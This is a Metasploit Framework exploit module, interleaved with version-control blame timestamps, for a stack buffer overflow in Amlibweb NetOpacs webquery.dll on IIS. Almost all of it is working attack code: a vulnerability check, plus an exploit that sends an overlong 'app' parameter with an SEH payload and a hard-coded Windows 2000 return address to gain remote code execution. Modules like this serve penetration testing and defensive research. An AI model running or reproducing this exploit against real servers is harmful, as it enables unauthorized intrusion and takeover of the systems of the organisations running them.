2010-08-03 09:07:09 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2010-08-03 09:07:09 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = NormalRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Exploit::Remote::Seh
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2010-11-14 19:03:24 +00:00
|
|
|
'Name' => 'Amlibweb NetOpacs webquery.dll Stack Buffer Overflow',
|
2010-08-03 16:17:43 +00:00
|
|
|
'Description' => %q{
|
2010-11-14 19:03:24 +00:00
|
|
|
This module exploits a stack buffer overflow in Amlib's Amlibweb
|
2010-08-03 16:17:43 +00:00
|
|
|
Library Management System (NetOpacs). The webquery.dll
|
|
|
|
API is available through IIS requests. By specifying
|
|
|
|
an overly long string to the 'app' parameter, SeH can be
|
|
|
|
reliably overwritten allowing for arbitrary remote code execution.
|
|
|
|
In addition, it is possible to overwrite EIP by specifying
|
|
|
|
an arbitrary parameter name with an '=' terminator.
|
2010-08-03 09:07:09 +00:00
|
|
|
},
|
2010-08-03 16:17:43 +00:00
|
|
|
'Author' => [ 'patrick' ],
|
|
|
|
'Arch' => [ ARCH_X86 ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2011-11-11 01:04:40 +00:00
|
|
|
[ 'OSVDB', '66814' ],
|
|
|
|
[ 'BID', '42293' ],
|
2010-08-03 16:17:43 +00:00
|
|
|
[ 'URL', 'http://www.aushack.com/advisories/' ],
|
|
|
|
],
|
2010-08-03 09:07:09 +00:00
|
|
|
'Privileged' => true,
|
|
|
|
'DefaultOptions' =>
|
2010-08-03 16:17:43 +00:00
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
2010-08-03 09:07:09 +00:00
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 600,
|
|
|
|
'BadChars' => "\x00\x0a\x0d\x20%=?\x2f\x5c\x3a\x3d\@;!$",
|
|
|
|
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
|
|
|
|
'DisableNops' => 'True',
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => ['win'],
|
|
|
|
'Targets' =>
|
2010-08-03 16:17:43 +00:00
|
|
|
[
|
|
|
|
# patrickw - Tested OK 20100803 w2k IIS5
|
|
|
|
[ 'Windows 2000 Pro All - English', { 'Ret' => 0x75022ac4 } ], # p/p/r ws2help.dll - 'dll?app={buff}' for SeH IIS5
|
|
|
|
# [ 'Windows 2003 Server All - English', { 'Ret' => 0x44434241 } ], # todo: 'dll?{buff}=' call edi for EIP in IIS6 w3wp.exe, 120 byte limit, ASCII only.
|
|
|
|
],
|
2010-08-03 09:07:09 +00:00
|
|
|
'DisclosureDate' => 'Aug 03 2010', #0day
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
2010-08-03 16:17:43 +00:00
|
|
|
register_options(
|
2010-08-03 09:07:09 +00:00
|
|
|
[
|
|
|
|
Opt::RPORT(80),
|
|
|
|
],self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
connect
|
2010-08-03 16:17:43 +00:00
|
|
|
|
2010-08-03 09:07:09 +00:00
|
|
|
rand = Rex::Text.rand_text_alpha(10)
|
2010-08-03 16:17:43 +00:00
|
|
|
|
2010-08-03 09:07:09 +00:00
|
|
|
sock.put("GET /amlibweb/webquery.dll?#{rand}= HTTP/1.0\r\n\r\n")
|
|
|
|
res = sock.get(-1,3)
|
|
|
|
disconnect
|
|
|
|
|
|
|
|
if (res =~ /<H1>BAD REQUEST<\/H1><P>Your client sent a request that this server didn't understand.<br>Request:\s(\w+)/)
|
|
|
|
if ($1 == rand)
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
|
|
|
end
|
2010-08-03 16:17:43 +00:00
|
|
|
Exploit::CheckCode::Safe
|
2010-08-03 09:07:09 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
seh = generate_seh_payload(target.ret)
|
|
|
|
|
2010-08-03 16:17:43 +00:00
|
|
|
buffer = Rex::Text.rand_text_alphanumeric(3028) + seh
|
2010-08-03 09:07:09 +00:00
|
|
|
sploit = "GET /amlibweb/webquery.dll?app=" + buffer + " HTTP/1.0\r\n"
|
|
|
|
sock.put(sploit + "\r\n\r\n")
|
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
end
|